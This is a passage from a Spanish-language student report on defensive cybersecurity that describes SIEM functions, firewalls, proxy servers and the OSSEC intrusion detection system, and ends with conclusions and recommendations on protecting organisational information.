de usuarios y dar soluciones mejoradas para la defensa cibernética, es interesante hacer parte de
su comunidad con el fin de aprovechar las herramientas y poder potencializar la habilidad del
equipo Blue Team en la identificacion y prevencion de amenazas tecnologicas, lo que contribuye

a reforzar la seguridad de la organizacion.
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Andalisis Sobre las Funciones y Caracteristicas Principales de un SIEM

SIEM (siem, s.f.)es la Gestion de Eventos e Informacion de Seguridad (Security
Information and Event Management). Es una solucioén de seguridad que asiste a las entidades
en la identificacion, analisis y reaccion ante amenazas. Emplean la inteligencia artificial (IA)
para automatizar numerosos procedimientos manuales vinculados a la identificacion de
amenazas y la reaccion ante incidentes. Las soluciones SIEM llevan a cabo un grado de
funciones de agregacion, consolidacion y categorizacion de datos con el fin de detectar
amenazas, a continuacion se relacionan las funciones mas utilizadas:

Gestion de Registros y Bases de Datos. Recolecta informacion de sucesos provenientes
de diferentes fuentes en la red de la entidad. Los datos y registros de usuarios, aplicaciones, redes
son procesados, activos y ambientes en la nube, guardados y examinados en tiempo real.

Correlacion y analisis de eventos. Mediante el uso de analisis sofisticados para
identificar y entender los patrones complejos de informacion, la correlacion de eventos ofrece
datos para identificar y minimizar rapidamente las potenciales amenazas a la seguridad.

Supervision de Incidentes y Alertas de Seguridad. Capaz de reconocer y controlar
todas las entidades del ambiente de informatica. Estos sistemas emiten advertencias al identificar
acciones sospechosas o malintencionadas que podrian sefialar un ataque o una infraccion. Las
alertas pueden contener datos acerca del tipo, el origen, la severidad, y el proposito del incidente,
ademas de recomendaciones para su solucion. Para lograrlo, pueden hacer uso de programas
como IDS (Sistema de Deteccion de Intrusion o Sistema de Prevencion de Intrusion) e IPS

Cumplimiento Normativo. También asisten a las organizaciones en el cumplimiento de
las regulaciones y estandares que requieren mantener un registro completo y comprobable de sus

actividades e incidentes de seguridad. Es posible producir informes preestablecidos que
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evidencien el acatamiento de marcos como GDPR ,PCI, SOX, DSS, HIPPA, y otros estandares
de conformidad.

Las caracteristicas para dar contestacion rapida y eficaz a los incidentes son (Linkedin,
2024):

Monitoreo en Tiempo Real. Permite realizar la identificaciéon a accesos no autorizados,
monitorear comportamientos inusuales o sospechosos, detectar malware, lo que permite la
mitigacion inmediata ante incidentes.

Analitica avanzada. Puede detectar anomalias que indican amenazas para la seguridad,
también proporciona técnicas, tacticas y procedimientos de los atacantes, lo que ayuda a
desarrollar estrategias de defensa mas eficientes.

Inteligencia de Amenazas. Permite la identificacion de direcciones IP maliciosas,
nombre de dominios e indicadores de compromiso que se pueden utilizar para mejorar las
capacidades de deteccion de su sistema SIEM. También le permite avanzar ante las amenazas
emergentes valiéndose de los datos de inteligencia global, lo que facilita la identificacion y la
respuesta a los ataques que se han visto en otros sitios antes de que perturben la organizacion

Gestion de Incidencias. Permite realizar un rastreo y tratar el ciclo de vida de un
incidente desde su descubrimiento hasta su resolucion, lo que incluye el registro de toda la
informacion, la retribucion de tareas a los integrantes del grupo y la documentacion del proceso
de respuesta para el analisis posterior al suceso.

Informes de Cumplimiento. 'Proporcionan informes que demuestran el cumplimiento
de normas como el Reglamento General de Proteccion de Datos (RGPD), la Ley de Portabilidad
y Responsabilidad de los Seguros Médicos (HIPAA) y el Estdndar de seguridad de datos de la

industria de tarjetas de pago (PCI DSS)
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Analisis del Comportamiento de Usuarios y Entidades. Es una funcion que mejora la
deteccion de cuentas comprometidas y amenazas internas. También ayuda a identificar
rapidamente las acciones potencialmente malicioso realizadas por entidades o usuarios dentro de
su red, lo que podria significar el uso indebido de las credenciales.

Informe de Eleccion de 3 Herramientas que Permitan Contener Ataques Informdticos

Las herramientas que permiten la contencion de ataques informaticos en los activos de
una organizacion, empresa o entidad son (Goémez, 2024):

Firewall. También conocido como cortafuegos es una herramienta que nos permite
escanear los datos o paquetes de red que pueden ingresar a la red privada en donde se puede
restringir el acceso de acuerdo con la autorizacion por parte del administrador. De igual manera
tiene la capacidad de inspeccionar el trafico web, clasificar archivos, bloquear el acceso a
terceros, identificar usuarios, denegar el acceso a direcciones IP, denegar el acceso a protocolos,
puertos.

Servidor Proxy. es una herramienta permite establecer un sistema de autenticacion que
restringe el acceso a la red externa, de igual manera analiza el trafico de red para no permitir las
solicitudes no deseadas, realizar el filtro de los paquetes de conexion entre el Internet y el
navegador, también pueden bloquear el acceso a sitios no permitidos al interior de la empresa o
sitios web peligrosos.

OSSEC. (Cilleruelo, 2024): es un HIDS (Host-based Intrusion Detection System) de
codigo abierto, permite monitorear uno o mas servidores, genera alertas sobre las posibles
amenazas que detecta, permite utilizar los dispositivos de una red con la finalidad de procesar
toda la informacion recopilada durante el monitoreo del sistema, puede ejecutar con este

programa la deteccion de rootkits, respuesta activa ante brechas e incidentes, deteccion de



intrusos basada en logs, monitorizacion de la integridad de los archivos y el inventario del

sistema.
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Conclusiones

La normatividad colombiana sobre los delitos informaticos y la proteccion de los datos
personales establece la penalidad a los delincuentes informaticos y en acabar con este flagelo.

El Cédigo de Etica profesional para el ejercicio de la Ingenieria en general y sus
profesiones afines y auxiliares, establece los derechos, deberes, prohibiciones y faltas
gravisimas, que deben de acatar y cumplir en el ejercicio de sus funciones.

Las herramientas de ciberseguridad como el pentestig, los equipos Red Team & Blue
Team, entre otros, logran la identificacion de las vulnerabilidades, el ciberespionaje a la que
estan expuestas las aplicaciones, los sistemas de redes y servidores en una organizacion, empresa
o entidad, con el fin de mejorar la disponibilidad, confidencialidad e integridad, seguridad,
proteccion de la informacion y datos personales.

Las estrategias de contencion de ataques de ciberseguridad, permiten la mitigacion de:
riesgos, ataques, amenazas y vulnerabilidades que una organizacion, empresa o entidades puede
tener en sus activos los cuales puedan afectar la integridad, disponibilidad y confidencialidad de
la informacién vy la proteccion de los datos personales, por tal motivo es importante la proteccion
de los activos de la organizacion, con herramientas que nos permitan robustecer los sistemas
informdticos contra los ataques maliciosos y estar actualizados como profesionales de

ciberseguridad logrando un buen desempefio laboral en la proteccion de la informacion.
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Recomendaciones

Implementar herramientas que permitan la proteccion de la informacion como sistemas
de deteccion de intrusiones, antivirus, firewalls, pruebas de penetracion pentesting, entre otros

Fomentar estrategias en el buen manejo herramientas tecnoldgicas, la seguridad y
proteccion de la informacion, con el fin de promover la cultura de la seguridad de los sistemas de
informacion y poder mitigar los incidentes que se presentan al interior o exterior de una
organizacion.

Implementar politicas de seguridad y proteccion de la informacion y de los datos
personales que permitan la mitigacion a incidentes o eventos, con el fin de robustecer los
sistemas de informacion, mejorar el control por parte del administrador de la seguridad de la
informacion y aplicar los aspectos éticos y legales.

Proteger los activos de informacion de los riesgos cibernéticos que diariamente se viven
en el mundo, con el fin de que no sean vulnerados.

Implementar auditorias de seguridad en los sistemas de informacion que permitan
identificar las falencias que se puedan presentar al interior o exterior de la organizacion, con

respecto a incidentes de ciberseguridad.
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